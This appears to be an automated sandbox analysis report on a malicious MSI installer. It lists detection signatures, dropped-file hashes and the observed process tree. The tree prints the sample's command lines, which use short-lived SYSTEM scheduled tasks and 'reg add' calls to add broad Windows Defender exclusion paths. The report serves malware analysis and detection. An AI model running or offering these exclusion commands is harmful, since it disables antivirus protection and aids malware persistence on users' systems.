Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/07/2026, 04:26

General

  • Target
    appinstall.8835005.msi
  • Size 7.2MB
  • Sample260716-e2nzzacz5q
  • SHA256 a3bae9537265a350771bb624ac2b3ba0910e2fc1666d1ef97d277a667aaca354
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\appinstall.8835005.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4148
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5052
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 2D02365179553C191109D3D3452A125D E Global\MSI0000
      2⤵
      • Looks for VirtualBox Guest Additions in registry
      • Looks for VMWare Tools registry key
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      PID:4852
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:1128
  • C:\Users\Public\aoEuaz\im3bF3.exe
    C:\Users\Public\aoEuaz\im3bF3.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3328
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\aoEuaz\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4132
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\aoEuaz\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2128
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5044
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2540
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3028
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2292
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4780
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4616
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1032
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4468
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4140
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:744
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2376
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:736
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2348
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5100
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1052
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4852
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1852
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4780
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\aoEuaz" /t REG_DWORD /d 0 /f
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2136
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\aoEuaz" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4628
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2700
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3184
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3520
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4076
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4572
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5044
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1428
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4904
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2156

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              e5875f7.rbs

                              • Path C:\Config.Msi\e5875f7.rbs
                              • Size 7KB
                              • SHA256 e68feb7f1a76e4ce9d8c589d8b91916b40f430aa116af2098f1ee99b35f20d5f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\aoEuaz\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 960e3d50edc71db232547a9c1ac245c3177b8d9d0d75d1cd1e2f7b0b24941506
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\aoEuaz\adoresd.dat
                              • Size 4.8MB
                              • SHA256 56a7588d02cc496df1786dfae49923c156ec4ad50951dd7d7e24eac6072211c0
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              im3bF3.exe

                              • Path C:\Users\Public\aoEuaz\im3bF3.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\aoEuaz\msadox.tb
                              • Size 8KB
                              • SHA256 9837f2ca73f3ef987161a1f2cda5b02f55e828088778402cac602aa425f325f7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              MSI776E.tmp

                              • Path C:\Windows\Installer\MSI776E.tmp
                              • Size 7.2MB
                              • SHA256 08d1da18eae6507f100884754220a8be14454b6dc7d53b41143cfeb736501ba7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              e5875f6.msi

                              • Path C:\Windows\Installer\e5875f6.msi
                              • Size 7.2MB
                              • SHA256 a3bae9537265a350771bb624ac2b3ba0910e2fc1666d1ef97d277a667aaca354
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              metadata-2

                              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                              • Size 24.1MB
                              • SHA256 982cdc3953961e37fe8c6a3b3b97eff1cd60c03a7825cd344a9bb34764ccfbf6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              {c59c4bc9-9882-4721-b03b-30a2f86398da}_OnDiskSnapshotProp

                              • Path \??\Volume{73216430-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{c59c4bc9-9882-4721-b03b-30a2f86398da}_OnDiskSnapshotProp
                              • Size 6KB
                              • SHA256 7bab0582b929b43271ca818c83e36a324220dca9352be764996dc5c3b276c3db
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3328-62-0x00000201DBB20000-0x00000201DC3DE000-memory.dmp

                              memory/3328-68-0x00000201DBB20000-0x00000201DC3DE000-memory.dmp

                              memory/3328-53-0x00007FF866210000-0x00007FF866212000-memory.dmp

                              memory/3328-54-0x00007FF849180000-0x00007FF84969E000-memory.dmp

                              memory/3328-88-0x00000201DBB20000-0x00000201DC3DE000-memory.dmp

                              memory/3328-87-0x00000201DBB20000-0x00000201DC3DE000-memory.dmp

                              memory/3328-59-0x00000201DBB20000-0x00000201DC3DE000-memory.dmp

                              memory/3328-61-0x00007FF866220000-0x00007FF866222000-memory.dmp

                              memory/3328-78-0x00000201DAFF0000-0x00000201DB03E000-memory.dmp

                              memory/3328-66-0x00000201DBB20000-0x00000201DC3DE000-memory.dmp

                              memory/3328-67-0x00000201DBB20000-0x00000201DC3DE000-memory.dmp

                              memory/3328-79-0x00000201DC3E0000-0x00000201DC46A000-memory.dmp

                              memory/3328-69-0x00000201DBB20000-0x00000201DC3DE000-memory.dmp

                              memory/3328-73-0x00000201DBB20000-0x00000201DC3DE000-memory.dmp

                              memory/3328-82-0x00000201DC3E0000-0x00000201DC46A000-memory.dmp

                              memory/3328-81-0x00000201DC3E0000-0x00000201DC46A000-memory.dmp

                              memory/3328-80-0x00000201DC3E0000-0x00000201DC46A000-memory.dmp

                              memory/4852-12-0x00007FF866210000-0x00007FF866212000-memory.dmp

                              memory/4852-39-0x00007FF849A60000-0x00007FF849A70000-memory.dmp

                              memory/4852-16-0x00007FF849A60000-0x00007FF849A70000-memory.dmp

                              memory/4852-13-0x00007FF847400000-0x00007FF847A40000-memory.dmp